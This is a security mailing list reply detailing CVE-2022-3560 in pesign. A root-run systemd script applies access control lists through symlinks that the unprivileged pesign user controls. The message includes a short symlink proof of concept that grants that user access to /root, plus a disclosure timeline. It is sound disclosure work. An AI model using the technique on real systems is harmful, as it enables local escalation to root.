oss-security - Re: pesign: Local privilege escalation on pesign systemd service

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Date: Wed, 1 Feb 2023 11:05:49 +0100
From: Matthias Gerstner <mgerstner@...e.de>
To: oss-security@...ts.openwall.com
Subject: Re: pesign: Local privilege escalation on pesign
 systemd service

Hi,

On Tue, Jan 31, 2023 at 12:59:19PM -0300, Marco Benatto wrote:
> a local privilege escalation vulnerability was found in pesign. This
> vulnerability has been identified by CVE-2022-3560.

I would like to add some more details about the vulnerability:

The project ships a systemd service file that starts a pesign daemon
instance but also runs a StartPost script:

```
ExecStart=/usr/bin/pesign --daemonize
ExecStartPost=/usr/libexec/pesign/pesign-authorize
```

This pesign-authorize script is run with root privileges and grants a
dynamic list of users and groups recursively full access to
/etc/pki/pesign*/ and /run/pesign via POSIX access control lists.

The list of users is found in the root controlled files
/etc/pesign/users and /etc/pesign/groups. By default only pesign:pesign
are configured.

# The Vulnerability

Since the pesign-authorize script is run at every start of the pesign
service unit, the directory trees /etc/pki/pesign* and /run/pesign will
already be controlled by the unprivileged pesign:pesign user and group.
The script does not take precautions to prevent symlink attacks being
staged by a compromised unprivileged user account.

A simple demonstration of the attack would be this:

```
root# sudo -u pesign -g pesign ln -s /root /etc/pki/pesign/attack
root# systemctl restart pesign
root# getfactl /root
# file: root/
# owner: root
# group: root
user::rwx
user:pesign:rwx
group::---
group:pesign:rwx
mask::rwx
other::---
```

Therefore in a default configuration of pesign there is a local pesign
user or pesign group to root escalation that can be achieved at every
pesign.service unit start.

I reproduced this on Fedora 35 using pesign version 113 release 18.fc35.

# Timeline

- 2022-10-11: I reported this to secalert@...hat.com  offering
  coordinated disclosure.
- 2022-10-18: RedHat security assigned the CVE for the issue
- 2022-12-21: RedHat security communicated a coordinated release date
  for 2023-01-31.
- 2023-01-27: RedHat security shared the patch with us and informed the
  distros mailing list about issue and the upcoming release
- 2023-01-31: the issue has been published

Cheers

Matthias

-- 
Matthias Gerstner <matthias.gerstner@...e.de>
Security Engineer
https://www.suse.com/security
GPG Key ID: 0x14C405C971923553

SUSE Software Solutions Germany GmbH
HRB 36809, AG Nürnberg
Geschäftsführer: Ivo Totev, Andrew Myers, Andrew McDonald, Boudien Moerman

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